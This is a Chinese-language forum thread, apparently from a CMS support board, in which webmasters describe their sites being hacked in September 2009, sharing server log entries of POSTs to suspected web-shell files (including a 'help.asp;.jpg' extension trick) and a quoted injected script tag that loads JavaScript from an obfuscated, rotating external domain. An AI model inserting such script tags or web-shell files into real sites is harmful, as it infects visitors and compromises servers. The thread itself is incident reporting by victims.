我都没找到admin/ks.update.asp文件

我的也中了，我建议大家打110报网监大队吧，我已经报案了，我们是政府办的网站，我就不信他不查，真他妈郁闷！！

template文件夹脚本运行权限我已经关闭。还是被挂马了。传一部分我觉得可以的日志。希望管理员尽快解决。

2009-09-30 16:23:11 POST /KS_Data/kesionbak.asa - - 124.172.242.16 HTTP/1.1 - http://www.pesnet.net/KS_Data/kesionbak.asa 200 275 187

2009-09-30 16:23:12 POST /Admin/Skin/3/inedx.asp - - 124.172.242.16 HTTP/1.1 - http://www.pesnet.net/Admin/Skin/3/inedx.asp 404 0 109

2009-09-30 16:23:12 POST /KS_Inc/highslide/bottum.asp - - 124.172.242.16 HTTP/1.1 - http://www.pesnet.net/KS_Inc/highslide/bottum.asp 200 275 234

2009-09-30 16:23:12 POST /Admin/Images/Label/C00N.asp - - 124.172.242.16 HTTP/1.1 - http://www.pesnet.net/Admin/Images/Label/C00N.asp 404 0 93

2009-09-30 16:23:12 POST /Club/Images/user/help.asp;.jpg - - 124.172.242.16 HTTP/1.1 - http://www.pesnet.net/Club/Images/user/help.asp;.jpg 404 0 109

2009-09-30 16:23:15 POST /KS_Data/kesionbak.asa nor=1&en=1&asp=0&dot=1 -

2009-09-30 16:40:42 GET /wbuxmirserver.rar - - 123.15.237.42 HTTP/1.1 Mozilla/4.0 - 404 0 203

2009-09-30 16:40:43 GET /mirserver.rar - - 123.15.237.42 HTTP/1.1 Mozilla/4.0 - 404

2009-09-30 17:52:28 GET /Plus/ShowA.asp |52|800a0bcd|BOF_或_EOF_中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记录。 - 203.208.60.72 HTTP/1.1

第一种情况不太可能，我为了做到安全将你说的那些早就改过，而且还改的比较复杂；

第二种情况也不可能，因为我用的是5.5版本，5.5版本据我所知还没有在线升级功能吧……

你好，我的站也是9月30号被挂上了一段代码。<script language="JavaScript" src="http://pt92%38.9966.org" type="text/javascript" id="scr7ipt1549"  ></script>就是这段代码。还有我发现1.我之前在我的空间放了几个不同的网站源码系统，我发现我其他的网站源码系统也被挂了这段代码。2.代码里的这个网址pt92%38.9966.org，不是固定的，有很多种网址，如：pt928.99%36%36.org还有我就没有打上来，因为实在太多了，用官方给我的“iframe批量替换工具”这个工具根本就搞不定，我想我的整个网站文件都被放了这个代码！  

    希望我的发现对官方有帮助！希望官方能尽快找出放马的人。。。